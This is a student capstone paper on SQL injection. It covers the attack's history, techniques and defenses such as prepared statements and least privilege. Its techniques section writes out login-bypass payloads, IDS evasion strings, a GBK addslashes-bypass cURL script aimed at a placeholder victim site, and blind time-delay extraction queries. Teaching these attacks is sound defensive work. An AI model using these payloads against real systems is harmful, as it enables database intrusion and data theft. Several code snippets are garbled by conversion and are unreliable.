CONTENTS

***Abstract*—1 Web applications have become a vital part of our everyday lives and the security of information they access is of an upmost importance. There will always be people who try and exploit vulnerabilities in applications and their users for reasons such as curiosity, destructive intentions, or financial profit. SQL injections have been the top web vulnerability allowing hackers access to sensitive information in databases for many years. I have created a web application demonstrating a SQL injection and simple defenses. If programmers take simple precaution while coding SQL injections would decrease severely. My research brings awareness of SQL injections to the typical programmer so these common attacks no longer happen.**

I. INTRODUCTION

As the world around us evolves into a technological wonderland the need for security must also adapt at the same rate to protect sensitive data. The internet and web applications have allowed people to access information and interact from just about anywhere, at just about any time. With the use of computers, web applications, and databases become more prominent, structured query language injections have also been on the rise. Over the years SQL injections have grown to the point where we are now seeing weaponized SQL Injection attacks. [8] Businesses and Organizations are frequently being breached by SQL Injection attacks. In a recent survey by the Ponemon Institute, as of April 2014, sixty-five percent of organizations in the study had SQL injections successfully evade defenses in the last twelve months. Over the years development of a defense has been in progress, but with all the vital information on the internet, defense against SQL Injection attacks should be a higher priority.

SQL Injection is a code injection technique, used for accessing web application databases and retrieving information from that database. The SQL statements is inserted into an entry field for execution, The SQL injection takes advantage of improper or vulnerable coding of the web applications software, often by inserting a SQL statement to modify the code allowing a bypass in security and gaining access to information held within that database. As the popularity of web applications and databases rise, the role of web security has become increasingly important.

II. BACKGROUND

A. Web Applications History

The internet has not always been the way it is today; it has changed much since its conception. Early on it consisted of web pages that did not change. Web pages we exactly that, a page, they were read-only and a large portion was informational content on things like locations and businesses. [4] Scrolling down was the only interaction the user had. Back then communication and information were minimal requiring no need for security. However as the world changed so did the needs of the users, thus came the era of the World Wide Web, the age of dynamic web pages and user interaction.

Before the World Wide Web, applications needed to be installed separately on individual computers and could only be access on those machines. Each time there was an update it needed to be redistributed to all the clients. A web application is a software application that is accessed through a web browser over the internet or through intranet. They became popular because they are easy to update and maintain without distributing and installing software on thousands of client computers. Web applications usually follow the client-server architecture. The client side is the web page that is displayed and the server is where the application is hosted. The client is then able to interact with the server to perform various tasks. Usually a user must first log into the web applications to confirm you are a valid user. Once confirmed the user is allowed access to the web application and the information it contains.

B. Structured Query Language (SQL)

SQL is a language designed for managing data in a relational database management system. It allows a user to insert records, delete records, retrieve information, and update records in a database. SQL became the standard language in 1986, and with any language there is distinct syntax. A hacker could use the knowledge of how SQL is structured [5] and how a query will be inserted into a dynamically formed query on a server to alter the intended use (elaborated later on).

Below is an example of a simple query:

Select name From Employee Where LastName = Johnson

C. SQL Injections

SQL Injection occurs when an attacker attempts to bypass the databases security by injecting malicious code into a query. The code is usually entered through a user input field, generally a username and password login text boxes. These inserted queries can retrieve information from within the database or used to manipulate the information held within.

The first instance of SQL Injection that was made public was

in 1998 on Christmas day, a hacker by the name of Rain Forest Puppy (RFP) also known as Jeff Forristal wrote an article titled, NT Web Vulnerabilities in an online magazine called Phrack Magazine. [14] Among other things in the article, RFP describes different attacks that use SQL Injections, although at that time he labels SQL Injections as SQL Commands. RFP demonstrates and discusses how by piggybacking SQL a command onto a query allows access to databases otherwise not accessible. RFP continues onto isolating specific pieces of information in the database and eventually extracting them. RFP not only revealed SQL Injections to the hacking world, but also demonstrates the simplicity and applications of SQL injections.

RFP would continue on exploiting SQL injections and documenting what he learned in several different articles. On February 3rd of 2000 RFP posted and advisory entitled How I hacked Packetstorm a look at hacking www threads via SQL. Though the term SQL Injections had yet to surface, RFP made inroads into the abuse of SQL vulnerabilities. [14] Packetstorm is a hacker site comprised of documents, exploits, and scripts and by exploiting holes in the web application RFP was able to inject random SQL gaining control over the database by making himself the administrator.

On October 22nd, 2000 David Litchfield would use the phrase SQL Insertion in his talk for Blackhat Europe called Application Assessments on ISS. Blackhat is a convention where people can learn about the newest of network security measures. One day later on October 23rd, 2000 The term SQL Injections was coined, when a man Chip Andrews published SQL injection FAQ for the site SQLSecurity.com. Andrews use of SQL Injection was the first usage of the term in a public document, shortly after the SANS Institute would start using SQL Injection in their weekly bulletin and the name has not change since.

In April 2001, again at Blackhat, David Litchfield presented a paper on Remote Web Application Disassembly using ODBC error messages. [6] Litchfields paper introduces a new technique that can be used to map out the exact structure of the database application using SQL injection. This technique would further simplify SQL Injections allowing the attacker to by-pass login pages and return the database tables with a query using the UNION operator.

The next steps forward came in January and June of 2002 when Chris Anley published a papers entitled Advanced SQL Injection in SQL Server Applications and (more) Advanced SQL Injection in SQL Server Applications. These were the first papers to discuss SQL injection in depth. Between the two papers, Anley gives step by step instruction of how SQL Injection works and how to avoid and outmaneuver common errors. These two papers allowed for almost anyone with SQL and programming knowledge to perform SQL Injection attacks. Anley even introduces a new time delay technique for accessing data, prior to this method the attacker would ping the server and if the delay was approximately 10 seconds then it would be accessible. Anleys technique extended this to using time delays to drill for data, this would be the first example of an inference SQL Injection attack.

In September 2003, Blind SQL injection was introduced, before the main way in locating vulnerabilities was to force errors to occur and depending on which error message popped up the attacker could identify the weaknesses. However, in Blindfolded SQL injection an article by Ofer Maor and Amichai Shulman, [4] they highlight how it is still possible to locate vulnerable code without the use of error messages and demonstrate how it was just as easy as using error messages.

The last major advancement happened a year later at Blackhat 2004 an organization by the name of 0x90 released SQueaL, now known as Absinthe. [2]Absinthe was to tool that made it possible to automate Blind SQL Injection, mainly by automating the querying of data.

This history mentions the key advancements in SQL injection, but it must be noted that there have been many other injection techniques for various database servers and for a range of application environments. SQL Injection was started with a simple article and has developed into one of the most dangerous web vulnerabilities.

III. SQL INJECTIONS TECHNIQUES

As the Internet and technology grows the use of databases to store important information is constantly increasing. With the increase of important information on the web protection against SQL injections will have to grow. In order to defend against SQL Injection attacks it is best to know how they work. Although SQL injections have been present since 1998 they have gone through changes, but still work relatively the same.

A. Poorly Filtered Strings

The most basic of SQL injections are based on poorly filtered strings. Poorly filtered strings are caused by an user input that is not filtered for escape characters. Escape characters, [1]such as / allows for certain words to be passed and interpreted differently by the database. This means that a user can input a phrase that can be passed on as an SQL statement, resulting in the attacker gaining access to the database. Code that is vulnerable to this type of vulnerability might look something like this:

```
pass = [pass.getText()]; password = mysql("SELECT password FROM users WHERE password = '". pass . "';");
```

The query above is an SQL call to SELECT the password from the users database. Usually the user enters their username and password:

```
pass = [pass.getText()]; password = mysql("SELECT password FROM users WHERE username = '". Quinn . "';");
pass = [pass.getText()]; password = mysql("SELECT password FROM users WHERE password = '". Mypass . "';");
```

If the database is able to match the username and password, the user Quinn would be allowed access to the website and essentially the database. However, if the user were to input a password that was especially designed to continue the SQL call, it may result in the forced entry of the database. Take the input:

```
' OR 1 = 1 /*
```

Inserting the above into both the username and password input boxes will result in the query being extended with an OR statement, resulting in a final query of:

```
SELECT password FROM users WHERE password = '' OR 1 = 1 /*
```

Because of the inserted OR statement in the SQL query, the check for password = var is insignificant. The query will always return TRUE because 1 always equals 1, allowing a positive login.

B. Incorrect Type Handling

Incorrect type handling based SQL injections occur when an input is not checked for type constraints. Incorrect type handling can be thought of as poorly filtered strings, but more in specific. An example of this would be an ID field that is numeric, but there is no filtering in place to check that the user input is numeric. Take this sample query:

```
news = sqlQuery( "SELECT * FROM 'news' WHERE 'id' = id ORDER BY 'id' DESC LIMIT 0,3" );
```

By simply adding an isNumeric() method the input string can be filtered to ensure the field type is explicitly a number.:

```
(isNumeric(GET['id'])) ? id = GET['id'] : id = 1;
news = sqlQuery( "SELECT * FROM `news` WHERE
`id` = id ORDER BY `id` DESC LIMIT 0,3" );
```

The above code checks that GET['id'] is a number, if TRUE returns id = GET['id'], and if FALSE sets id to 1. This kind of filtering will assure that the ID field is always numeric. The isNumeric() method creates code that will not be subject to incorrect type handling.

C. Signature Evasion

Many SQL injections will be partially blocked by intrusion detection systems (IDS) and intrusion prevention systems (IPS). A common program that detects SQL injections is mod security for Apache and Snort. [2] Apache being an open source web server developer and Snort a free and open source network Intrusion prevention system. Programs such as these aren't fool proof and as such, the signature detection can be evaded. There are three main methods that are used to bypass signature detection.

D. Different Encoding

Signature evasion is made possible with a number of encoding tricks, the most basic and common encoding trick is the use of uniform resource locator (URL) encoding. The URL is also known as the web address, most web browsers display the URL of a web page above in the address bar. [3] The URL is just like any input box, which allows for information to be passed and read. URLs are encoded because there are a few special characters that have meaning, like the space character, if not encoded the URL would be invalid. An encoded URL allows for the database to distinguish between different words and phrases within the URL. However, URL encoding takes an injection string that would normally look like the following:

```
NULL OR 1 = 1/*
```

And changes it to a URL encoded string that would be masked as:

```
NULL+OR+1%3D1%2F%2A
```

Thus the installed IDS system may not register the encoded URL as an attack, allowing for protection and the signature will be evaded. Once the injection bypasses and IDS the attacker is allowed access to the information within that database.

E. White Space Multiplicity

Today most IDS and common signature databases check the input strings for spaces and even "OR " (OR followed by a space) in some case. However, by using different techniques it is possible to evade these checks by manipulating the white space. These techniques can be performed with the use of tabs, new lines/carriage return line feeds, and a variety of other white space characters and manipulation techniques.

If a signature is checking for OR followed by a space, it is possible to insert a new line as a space. This is made possible by using the %0a value within a URL bar. [7] A new line is a special character and can be easily converted using URL encoding. Thus an injection that would normally look like:

```
NULL OR 'value'='value'/*
```

The whitespace within the injection would be replaced by a new line, looking like:

```
NULL%0aOR%0a'value'='value'/*
```

The code would now appear to the server as:

```
NULL OR 'value'='value'/*
```

The above string would then be able to bypass the intrusion detection/prevention system and be executed within the SQL server. This allows the attacker access to the database.

F. Arbitrary String Patterns

The use of string patterns is essentially another way to manipulate the white space. In most database servers comment are made by inserting certain characters, in the case of MySQL, the worlds largest open source database, comments can be inserted into a query using the C language syntax of /* to start the comment, and */ to end the comment. [10] These comment strings can be used as a space or new line essentially evading any signature detection of common words such as UNION, and OR. The following injection pattern may be picked up by an IDS:

```
NULL UNION ALL SELECT user,pass, FROM
userDB WHERE user LIKE 'Admin'
```

However, the same IDS may not detect the injection if keywords were commented as follows:

```
NULL/**/UNION/**/ALL/**/SELECT/**/user,pass,/**/
FROM/**/userDB/**/WHERE/**/uid/**/=/*evade*/'1'//
```

The above breaks up keywords that most IPSs, such as Apaches security mod, would normally detect. This allows the SQL injection attack to parse, and database tables to be read and modified. Of course, an IDS will be able to check for strings of /* and */, however, many sites, including blogging sites, news sites etc may need to use C language commenting blocks, resulting in a false positive.

G. Filter Bypassing

In rare cases under certain conditions, filters such as addslashes() and MagicQuotesGpc can be used against itself to bypass IDSs. Addslashes() reads in a string and turns it into a comment, or returns the string with a slash in front. MagicQuotesGpc method allows the user to change the escape characters. [12] This allows the user to force characters passed signature detection and IDSs, usually not allowed passed, such as the backslash or a single quote. However these filters can only be bypasses when the SQL server is using certain character sets such as the Guojia Biaozhun Kuozhan (GBK) character set.

In GBK, the hexadecimal value of 0xbf27 is not a valid multi-byte character, however, the hex value of 0xbf5c is. If the characters are constructed as single-byte characters, 0xbf27 and 0xbf5c would represent two characters each. 0xbf27 is 0xbf (?) followed by 0xbf27 is 0x27 (') or (?) and 0xbf5c is 0xbf (?) followed by 0x5c (\) or (?\).

Why is this significant? If an attacker were to attempt a SQL Injection attack against a MySQL database, single quotes would normally be escaped or not be allowed. However, It becomes very useful when single quotes are escaped with a backslash (\') using addslashes() or when MagicQuotesGpc is turned on. Although it appears at first that the injection point is blocked via one of these methods, an attacker can bypass this by injecting 0xbf27,an invalid multi-byte character. By injecting this hex code, addslashes() will modify 0xbf27 to become 0xbf5c27, which is a valid multi-byte character (0xbf5c) and is followed by an non-escaped single quote. In other words, 0xbf5c is recognized as a single character, so the backslash is useless, and the single quote is not escaped [12].

Although the use of addslashes() or MagicQuotesGpc would normally be considered as somewhat secure, the use of GBK would render them near useless. The following PHP cURL script would be able to make use of the injection:

```
¡?php
$url = ”http://www.victimsite.com/login.php”;
$ref = ”http://www.victimsite.com/index.php”;
$session = ”PHPSESSID=abcdef01234567890abcdef01”;

$ch = curlInit();

curlSetopt( $ch, CURLOPTURL, $url );
curlSetopt( $ch, CURLOPTREFERER, $ref );
curlSetopt( $ch, CURLOPTRETURNTRANSFER, TRUE );
curlSetopt($ch, CURLOPTCOOKIE, $session );
curlSetopt( $ch, CURLOPTPOST, TRUE );
curlSetopt( $ch, CURLOPTPOSTFIELDS, ”username=” .
chr(0xbf) . chr(0x27) . ”OR 1=1/*&submit=1” );

$data = curlExec( $ch );

print( $data );
curlClose( $ch );
```

Usually the Username and password are read through and if match access is allowed. However if the attack were to enter OR 1=1/*&submit=1, the CURLOPTPOSTFIELDS line normally sets the characters to be passed as multi-byte characters, but this input and finishes the statement with OR 1=1/*. The / creates an injection that will bypass the addslashes() and/or MagicQuotesGpc checking.

H. Blind SQL Injection

During most SQL injection attempts errors are thrown as the attacker tries to navigate the systems defenses and specific coding. A skillful attacker is able to read and interpret these errors to determine the weak spots of the defense system. Blind SQL injections occur because of a couple different reasons, first the error message is generic or is not visible to user. Second the extracted data after a successful injection is not visible. There are two types of Blind injections:

1) Partially Blind Injections: are injections where you can see slight changes in the resulting page, for instance, an unsuccessful injection may redirect the attacker to the main page, where a successful injection will return a blank page.
2) Totally Blind Injections: are unlike Partially Blind Injections in that they don't produce difference in output of any kind. This is still however injectable, though it's harder to determine whether an injection is actually taking place

Both blind injection techniques require the attacker to first test the database to see what defenses it has deployed. Black Box Testing is a method in which the functionality of an application, typically used in SQL injection and partially blind injections. In the case of totally blind injections testing the system with the black box method would yield no results. White Box Testing and Grey Box Testing are required for totally Blind SQL Injections. White box testing test the internal structures or working of an application rather than its functionality, and Grey box testing test both functionality and internal structures for defects [15].

I. Time Delay

Most Blind SQL injections rely on the time delays in testing if a database if vulnerable. In MySQL there is no method to cause a delay. However by abusing the BENCHMARK() function the user can overload the sever causing a delay.

```
UNION ALL SELECT BENCHMARK(1000000,MD5(CHAR(118)))
the above will take about 7 seconds on localhost*
UNION ALL SELECT BENCHMARK(5000000,MD5(CHAR(118)))
/*the above will take about 35 seconds on localhost*
```

How is this used? The attacker can attach on the end of a query to cause a delay, telling the attacker the database is there.

```
IF EXISTS (SELECT * FROM users WHERE username = quinn) BENCHMARK(1000000000,MD5(1))
```

in the above example if the username quinn exist the server will stall because of the BENCHMARK function. If the username does not exist there would be no server lag. Once the database is found the attacker only has to modify the injected query to extract information.
MSSQL's WAITFOR DELAY function allows an injection that is not CPU intensive, and will not overload the server. It is possible to use the WAITFOR DELAY function in an injection to stall the server and determine whether an injection point is vulnerable or not.

```
WAITFOR DELAY ’0:0:10’– /* The above will set a delay of 10 seconds */
```

The above are examples of the WAITFOR DELAY syntax. A real life injection may look more like the following:

```
; IF EXISTS(SELECT * FROM userDB) WAITFOR DELAY ’0:0:10’–
```

The above will enable us to determine whether the database userDB exists or not. This will cause the query to pause if true (if userDB does exist), or return immediately if false. If true the attacker learns that specific database does exist, it is just a matter of changing the injection query to extract information. [13]At the lowest level, all data is stored in databases are just binary series of ones and zeros. This means that any data in the data base can be extracted using a sequence of true/false questions. Example:

```
if (ascii(substring(@string, @byte, 1)) & (power(2, @bit))) ¿ 0 waitfordelay ’0:0:5’
```

This delays if the first bit of the first byte of the current database name is set to 1, the second bit of the first byte is then queried:

```
declare @string varchar(8192) select @string = dbName() if(ascii(substring(@string, 1, 1)) & (power(2, 1))) ¿ 0 waitfor delay ’0:0:5’
```

and so on, building up the entire string. This method is obviously a very time-consuming process, mainly because of the five second delay per bit. However it is not necessary to run the queries sequentially or in order. Meaning multiple instances of the injection can occur; all the attacker has to do is wait and rebuild the string.

IV. Defense

With all the vital information available on the internet and web applications it is of utmost importance that the databases storing information be protected with an adequate defense. There are several simple was to boost the initial defenses of the database simply through coding. [13] If attackers are able to still by pass defenses it is equally as important to locate not only the attacker by the location of the vulnerability.

A. Initial defense

It is always good to take preemptive measures when protecting something important, including information and data. Setting up initial defenses against SQL injections are simple and require little to no extra time.

B. Prepared Statements(Parameterized Queries)

The use of prepared statements is how all web developers should first be taught how to write queries. They are simpler and easier to write than dynamic queries. Below is an example of a dynamic query followed by a prepared statement:

```
    Dynamic Query:
String user1 = userInput.getText();
String pass1 = passInput.getText();
String sql="select * from Employees where username
= '" + user1 + "'"
+ " and password= '" +pass1 + "';";

Prepared Statement:
String sql="select * from Employees where
username =? and password=?;" ;
pst= conn.prepareStatement(sql);
pst.setString(1, userInput.getText());
pst.setString(2, passInput.getText());
```

Prepared statements require the developer to define all SQL code first, and then pass in each parameter later. This coding styles allows the database to distinguish between code and data, regardless of what the user input is. By using prepared statements it ensures the attacker is not able to change the intent of the query, even if an attacker attempts an SQL injection attack. In the example above if an attacker were to enter the username of or1=1 the prepared statement would not be vulnerable and would instead search the database for the username that literally matched the string of or1=1.
Web developers tend to like prepared statements because all the SQL code stays within the applications itself rather than the database. This makes the applications independent of the database. However there are methods of storing all the SQL code in the database itself.

C. Stored Procedures

Stored procedures have a similar effect as the use of prepared statements, they require the developer to first define all SQL code, then pass in the parameters after. However the difference is that with stored procedures the SQL code is defined and stored in the database itself, where it is then called from the application. Both stored procedures and prepared statements have the same effectiveness in preventing SQL injections, it just depends on which approach is best for the situation.
The following code example uses a CallableStatement, Java's implementation of the stored procedure interface, to execute the same database query:

```
    String pass = request.getParemeter(password);
CallableStatement cs= connection.prepareCall(call
spGetPassword(?));
Cs.setString(1,Password);
```

The "spGetPassword" stored procedure would have to be predefined in the database and implement the same functionality as the query defined above. Prepared statements and stored procedures are both very effective in filtering out faulty user input however what should be done when an attacker already has access to the database?

D. Privilege Reduction

To minimize the damage of a successful SQL injection attack, web developers should minimize the privileges allowed to the database accounts in the environment. Do not assign administrative access rights to applications accounts. This sounds easily done and it can be done easily however it can backfire very easily. Start from the bottom and work your ways up when trying to determine what access rights an application account requires, rather than trying figure out what rights to take a way on the way down. Ensure that accounts have only access to what they really need. If an account that only needs read access then only grant read access to the tables they require. If an account only needs a portion of a table consider making views that limits the access to that portion required. By implementing both prepared statements and privilege reduction developers can drastically increase the security of web applications, but what if the application has already been injected onto [11].

E. Detection and Tracing

SQL injections have adapted quickly and can even evade firewalls and Intrusion Detection Systems (IDS). Most IDS that companies employ are effective at detecting basic SQL Injection attack attempts. However many SQL Injection attacks nowadays build SQL Injection exploits that evade detection by IDSs.
SQLi have become increasingly evasive and there are only a couple ways to actually detect a SQL Injection attack. Most detection of SQLi happen after they have already occurred, this however is not very useful, because the SQL Injection already breached security and all information with the database would already be accessed. [8]According to the Ponemon report the detection on average took six months to detect and on average another month to contain. There is only one true way of detecting a SQL Injection attack as it happens. SQL Injection attacks almost always generate some SQL errors as the attacker tries to work around the web applications SQL. Catching and finding the source of these errors is a much simpler job than finding the SQL Injection.
In rare cases, if the attacker is very good, no SQL errors are generated. If this does occur, unfortunately the impact of the SQL Injection will only be uncovered when the attacker is done with the database. The only course of action now is to attempt to trace the attack and find the source. Tracing of a SQL Injection attack is also highly difficult if done well enough. In any given web application there will be multiple web pages in which the user can input information; therefore there are multiple web pages where an attack could occur.
Finding the exact page the SQL Injection attack took place is not a simple task itself, it can only be done in a few ways. The simplest would be looking back at logs and make an attempt to locate common commands, like declare or cast. Both are used to inject information into a SQL Database. From there one can take the internet protocol (IP) address of the hacker and find out their location. [11] However, many attackers hide or change their real IP address. The best way to protect against SQL injections is preventing it in the first place. If more developers start implementing these techniques SQL injection attacks may cease in the future.

V. Future of SQL Injections

Even after 16 years, SQL Injection is still considered to be the most dangerous web vulnerability. Looking back over the years, RFP was the first to discover and publish the existence of SQL Commands. [14] SQL injection would be coined a couple years later and as knowledge and better coding developed so did SQL injections. First with poorly filtered strings, white space manipulation, filter bypassing, and eventually blind SQL injections. As far as technology has come exploitations such as SQL injections still persist at our current path SQL injection will forever be a problem. However there is hope.

A. Current System SQL

Security and defenses against SQL injections have been made in the past and still now today, however as those defenses are

made so are their counter measures. Some built-in defenses like addSlash() can even used against its own database. [12] Now with Blind SQL Injection there are little to no resources needed to perform an attack, The only real stop to SQL Injections is altering coding and having strong firewalls.
Altering and reinforcing the database coding would help protect against attacks. By implementing filtering and using prepared statements web applications would be much better suited to fight off SQL attacks. Better coding along with limiting privileges can completely protect a database from attacks. Changing code is one possible way SQL injection attack rates could decrease, however some people are leaning towards a whole new system in general.

B. New Database System- NoSQL:

The second option to combat SQL Injection is switching away from SQL as a whole, no more SQL databases and queries also known as NoSQL. [9] NoSQL actually stands for not only SQL, it is database that provides mechanisms for storage and retrieval of data that is modeled in means besides that tabular relations used in SQL. By switching database systems and eliminating SQL queries there will be nothing to inject to. It will be a new and different language nullifying previous SQL injection techniques, but there is always the possibility a new technique of injection will be developed.
Switching from one database system is also much faster than altering lines of code. However, the trade-off requires people to learn a new database system and query. The switch would also require some people to transfer information from a SQL system to a non-SQL system.

VI. Conclusion

The world of technology grows more and more each day it is important that cyber security grows with it as well. With all the sensitive data accessible to anyone on the internet, it is important that not just anyone can view that information, especially when the internet and web applications are available to almost anyone, pretty much anywhere. With more and more companies and developers creating websites it is important they learn how to prevent SQL injections. SQL injections are only possible when vulnerable code exist, by training upcoming developers to write more secure code many security risks can be minimized. It is difficult to fully secure a web application when they heavily depend on user input which is why it is important to build security into an application from the start. This research is merely a brief explanation of what SQL injection really is, but it is important that web developers understand the basics. From there it is up to them to pursue more knowledge and to stay up to date with security issues.

Appendix

A. Reflection

Capstone was a very arduous class I would not have been able to complete the course without the aid of my professors and the knowledge they passed on to me. However my passion for computer science would not exist without my high school computer science teacher, Mr. Cochran. We first started in Visual Basic and eventually went onto programming in Java. My knowledge computer programming would continue to develop as I took classes including CS160. I then learned about databases and SQL through professor Imad, my teacher for CS200 database structures.
I would not have gotten this far without the help of Professors and classes including CS160 and CS200, however my reseach paper and presentation would not have been possible without the help of First Year Seminar (FYS). FYS was a year long course that help me get accustomed to college life. Along with learning how to organize my time, FYS allowed me to practice my speech and writing skills. Intending to be a computer science major, writing and speech giving were not my strong suit, nor did I really think they were necessary. Looking back I now do consider FYS to be one of the most influential classes that I have taken in the past four years.
That being said I would like to thank all my professors, but especially professor Imad for not only teaching me about databases and SQL, but also teaching me the importance of teamwork, hardwork, and organization. Saint John's has also provided a great learning environment, allowing me to learn and develop my computer science skills, along with skills that will help me throughout my life.

References

[1] Chema Alonso.
[2] Dennis Appelt, Cu Duy Nguyen, Lionel C. Briand, and Nadia Alshahwan. Automated testing for sql injection vulnerabilities: An input mutation approach. In *Proceedings of the 2014 International Symposium on Software Testing and Analysis*, ISSTA 2014, pages 259–269, New York, NY, USA, 2014. ACM.
[3] Prithvi Bisht, P. Madhusudan, and V. N. Venkatakrishnan. Candid: Dynamic candidate evaluations for automatic prevention of sql injection attacks. *ACM Trans. Inf. Syst. Secur.*, 13(2):14:1–14:39, March 2010.
[4] Ericka Chickowski. 10 reasons sql injection still works.
[5] Angelo Ciampa, Corrado Aaron Visaggio, and Massimiliano Di Penta. A heuristic-based approach for detecting sql-injection vulnerabilities in web applications. In *Proceedings of the 2010 ICSE Workshop on Software Engineering for Secure Systems*, SESS '10, pages 43–49, New York, NY, USA, 2010. ACM.
[6] david Litchfield. Black hat security.
[7] Andrew Glover. Flexing nosql: Mongodb review.
[8] Ponemon Institure.
[9] James Karry. Sqli and the future.
[10] Or Katz. Sql injection - past, present and future, 2011.
[11] OWASP. Protecting against sql injections.
[12] Nicole Perlroth. Hackers breach 53 universities.
[13] Wiley Publishing.
[14] Rain Forest Puppy. Nt web vulnerablities.
[15] Shishir. Ethical hacking and network securtity.